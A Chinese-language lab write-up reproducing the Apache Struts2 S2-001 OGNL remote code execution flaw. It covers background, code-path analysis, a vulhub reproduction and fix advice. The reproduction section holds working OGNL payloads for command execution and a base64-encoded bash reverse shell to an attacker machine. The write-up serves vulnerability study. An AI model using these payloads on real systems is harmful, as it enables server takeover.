Apache Struts2远程代码执行漏洞(S2-001)复现

Apache Struts2远程代码执行漏洞(S2-001)复现

0X00 漏洞简介

​ 此漏洞源于 Struts 2 框架中的一个标签处理功能:altSyntax。在开启时,支持对标签中的 OGNL 表达式进行解析并执行。Struts 2允许用户提交包含 OGNL 表达式字符串的表单数据,若表单验证失败,则服务器会将用户之前提交的OGNL 表达式(如:%{1+1}) 进行解析执行,然后将结果重新填充到对应的表单数据中。但OGNL 解析代码实际上是在 XWork 中,struts2标签解析主要依赖于 xwork2,所以该漏洞可以理解为 xwork2 的漏洞。

安全公告:https://cwiki.apache.org/confluence/display/WW/S2-001

影响范围:

  • WebWork 2.1(启用 altSyntax)

  • WebWork 2.2.0 ~ WebWork 2.2.5

  • Struts 2.0.0 ~ Struts 2.0.8

0X01 相关知识

Struts 2

​ Apache Struts 2最初被称为WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用程序。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。

Struts 2 处理请求的大致流程如下:

image-20221208102619293

部分关键词说明:

  • Action:Struts2框架的核心,适用于任何MVC(Model View Controller)框架,在Web应用程序中将每个URL映射到特定的action,让其提供处理来自用户的请求所需的处理逻辑。
  • struts.xml:Struts2 框架的核心配置文件,主要用于配置 Action 和请求的对应关系,以及配置逻辑视图和物理视图。

Struts2处理请求过程:

  1. 用户发送 HTTP 请求给 Web 服务器。

  2. 当服务器接收请求后,经过一系列过滤器交由 Strust 2处理。

  3. Strust 2读取配置文件struts.xml,调用指定的拦截器,将请求分发至指定Action。

  4. Action处理请求调用对应JavaBean。

  5. JavaBean返回对应处理结果。

  6. Action 根据结果返回对应结果码。

  7. 读取配置文件struts.xml,根据返回的结果码,返回指定 jsp 页面。

  8. 返回HTTP响应。

OGNL

​ OGNL(Object-Graph Navigation Language,对象图导航语言):一种强大的表达式语言,用于引用和操作值栈上的数据,还可用于数据传输和类型转换,其类似于JSP表达式语言。

​ OGNL基于上下文中存有根对象或默认对象的理念,使用标记符号(即#号)来引用默认或根对象的属性。OGNL是基于上下文的,所以Struts构建了一个ActionContext映射以供OGNL使用。 ActionContext映射包含以下内容:

  • 应用程序(Application)—— 应用程序作用域变量
  • 会话(Session) ——会话作用域变量
  • 根/值栈 (ValueStack)—— 所有的action变量都存储在这里
  • 请求 (Request)——请求作用域变量
  • 参数 (Param)——请求参数
  • 属性 (Property)——存储在页面,请求,会话和应用程序作用域中的属性

​ 下面是一些OGNL在引入了struts标签的jsp页面中的用法:

<%--注,在jsp页面中要引入struts标签库,如下: --%>
<%@ taglib uri="/struts-tags" prefix="s" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
	<head>
    	<title>TEST</title>
	</head>
	<body>
		<%--注:ActionContext中的对象使用#号引用 --%>
		登录成功,你的姓名为:<s:property value="#name"/>
		<%--注:Action对象在值栈中总是可用的,因此如果一个Action对象有username和password属性,就可以随时使用这两个属性。如下: --%>  
		登录成功,你的用户名为:<s:property value="username"/>
	</body>
</html>

​ 若在会话中有一个名为“role”的属性,就可以按如下方式检索:

<s:property value="#session.role"/>

​ OGNL还支持处理集合即Map,List和Set。例如,要显示城市的下拉列表,可以使用如下代码:

<s:select name="city" list="{'Shanghai','Chengdu','Beijing','Wuhan'}" />

​ 除了#,% 在 OGNL 表达式中也经常出现,它提供一个OGNL表达式运行环境。如下:

// 计算1+1
%{1+1}
// 获取user对象的username属性值
%{#user.username}

​ OGNL 表达式还支持类静态的方法调用和值访问,表达式的格式:@[类全名(包括路径名)]@[方法名|值名],例如:

// 调用java.lang.String的format方法,拼接字符串,结果为:成都Chengdu
@java.lang.String@format('成都%s','Chengdu')

0X02 漏洞分析

漏洞环境

​ 此处用于分析调试的漏洞环境为:tomcat 9.0.22 + Struts 2.0.8 ,使用IDEA创建一个简单的 Struts 2 项目,有两个jsp页面,一个登录页面(index.jsp),登录成功后的欢迎页面(welcome.jsp)。编写用于处理登录逻辑的Action——LoginAction.java,登录成功则跳转到欢迎界面,否则返回登录页面。

Struts 2.0.8 下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.8-all.zip

jsp页面关键代码如下,使用 struts 标签在 jsp 页面中构建表单,在欢迎页面显示登录成功的提示语句。

index.jsp
...
<s:form action="login">
  <s:textfield name="username" label="username" />
  <s:textfield name="password" label="password" />
  <s:submit></s:submit>
</s:form>
...
welcome.jsp
...
登录成功 , <s:property value="username"></s:property>
...

web.xml文件部分配置如下所示,这是一种J2EE配置文件,决定servlet容器的HTTP元素需求如何进行处理。这里定义了一个名为 struts2 的过滤器,匹配成功则交由FilterDispatcher类处理,还指定了首页为 index.jsp 。

<filter>
    <filter-name>struts2</filter-name>
	<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class> 
</filter>
<filter-mapping>
    <filter-name>struts2</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
    <welcome-file>index.jsp</welcome-file>
</welcome-file-list>

struts.xml文件配置如下,这里配置了当用户提交登录的post请求至login时,交由“ login ”这个action(即com.demo.action.LoginAction)进行处理,当 LoginAction 返回结果为“ success ”则登录成功,跳转至为welcome.jsp页面;若为“ error ”则登录失败,跳转至 index.jsp。

<struts>
    <package name="s2" extends="struts-default">
        <action name="login" class="com.demo.action.LoginAction">
            <result name="success">welcome.jsp</result>
            <result name="error">index.jsp</result>
        </action>
    </package>
</struts>

LoginAction.java 部分代码如下,判断用户名和密码是否为admain,若是则返回“ success ”,否则返回“ error ”。

public class LoginAction extends ActionSupport {
    
    
    private String username = null;
    private String password = null;
    ......
    // username与password这两个属性的setter方法和getter方法
	......
    // 
    public String execute() throws Exception {
    
    
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
    
    
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
    
    
            return "success";
        }
        return "error";
    }
}
漏洞分析

​ 搭建完毕后,访问主页,在登录表单中填入 OGNL 表达式 %{1+1}。提交后,发现其执行了表达式,得出结果为2,并显示在对应的密码框中。

image-20221209162639646

​ 从上面web.xml中配置的过滤器struts2,服务器首先会调用org.apache.struts2.dispatcher.FilterDispatcher的dofilter()方法。在dofilter()方法中,会获取当前的HttpServletRequest,HttpServletResponse,ServletContext等对象。

image-20221209165919608

​ 接着调用dispatcher的serviceAction()方法,处理获取到的对象。

image-20221209170458795

​ serviceAction()方法首先通过createContextMap()方法将获取到的request、response、context等对象放入extraContext中,而后实例化一个ActionProxy动作代理对象 proxy ,最后调用 proxy 的 execute() 方法。

image-20221209171025650

​ 接下来struts2会加载一系列的拦截器,其中我们需要重点关注的是ParametersInterceptor,此拦截器负责接收我们传入的参数。

image-20221209174352972

​ 在加载完拦截器后,会调用invocation.invoke()方法(DefaultActionInvocation 的invoke()方法)。

image-20221209174626080

​ 进行过响应处理后,在invokeaction()方法中会通过反射方式调用对应action里的execute()方法,这里获取的是LoginAction中的execute()方法,而后调用invoke()方法调用。

image-20221209180047715

​ 接着就会处理进行相应逻辑处理后,因为输入的用户名、密码不为“admin”,所以LoginAction结果为’error‘,然后会调用DefaultActionInvocation 的 executeResult() 方法处理请求结果。

image-20221209181539063

​ executeResult()方法会调用result实现类的execute进行处理,随后struts 2 会调用ComponentTagSupport类的doStartTag()及 doEndTag() 方法进行标签的解析标签的开始和结束位置。

image-20221209182049654

​ 而造成此次漏洞的正是doEndTag() 方法,doEndTag() 方法又会接着调用component的 end() 方法,end() 方法会调用自身 evaluateParams()方法。会判断altSyntax是否开启,如果开启会对参数值进行重新组合,随后调用addparameter()方法。其中会调用findvalue() 方法获取对应的value。

image-20221209182609101

​ findvalue()方法会调用translateVariables()方法来处理表达式。

image-20221209183602551

​ 取出最外层的{},此时expression的值为%{1+1},随后进入下一个while循环再次确定{}位置,此时var的值为1+1。

image-20221209184129424

​ 最后调用stack的findValue()方法,执行表达式,计算1+1的结果。

image-20221209184527248

0X03 漏洞复现

复现环境

攻击机:kali (ip:192.168.219.134)

被攻击主机:docker环境部署(ip:192.168.219.128)

漏洞环境:vulhub/s2001_struts2:latest

docker部署漏洞环境过程:

​ 1.下载vulhub靶场文件(https://github.com/vulhub/vulhub)

​ 2.解压后切换到指定目录,并使用docker-compose命令拉取docker环境并创建容器。

cd vulhub-master/struts2/s2-001/
docker-compose up -d

​ 3.防火墙开放TCP的8080端口,而后访问8080端口,查看是否部署成功。

image-20221208155139643

复现过程

​ 为了方便修改POST参数并查看返回的结果,我们使用 Brup Suite 的 repeater 模块来提交请求和查看返回的结果。

  1. 打开浏览器访问首页,填入任意用户名与密码,点击提交后拦截请求,放于repeater模块中。

  2. 修改 password 内容如下,查看 Web 目录路径,注意此处要将部分特殊字符进url编码。

    %{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
    

    image-20221208161459413

  3. 修改 password 为如下内容,执行任意命令,此处为执行 pwd 命令。此处需要将部分特殊字符进行url编码。

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    
    image-20221208164551634
  4. 使用上述POC执行反弹shell命令。

    在kali上使用nc命令监控4444端口

    image-20221208165014409

    使用bash反弹shell,端口为攻击机的4444,此处不能直接使用下面的反弹shell命令。

    bash -i >& /dev/tcp/192.168.219.134/4444 0>&1
    

    先使用base64编码上述命令,如下:

    YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxOS4xMzQvNDQ0NCAwPiYx
    

    再使用“bash -c ” 命令将其解码后执行,最后java执行的反弹shell如下:

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxOS4xMzQvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}
    

    最终的POC如下:

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxOS4xMzQvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

    替换password,并将POC进行url编码,发送后得到如下响应:

    image-20221208164021744
  5. 成功获取反弹shell。

    image-20221208163541931

0X04 修复建议

  1. 从 XWork 2.0.4 开始,OGNL 解析已更改,其不会递归解析,所以可以更新 Struts 版本或 XWork 版本为漏洞修复版本。

猜你喜欢

转载自blog.csdn.net/oiadkt/article/details/130485692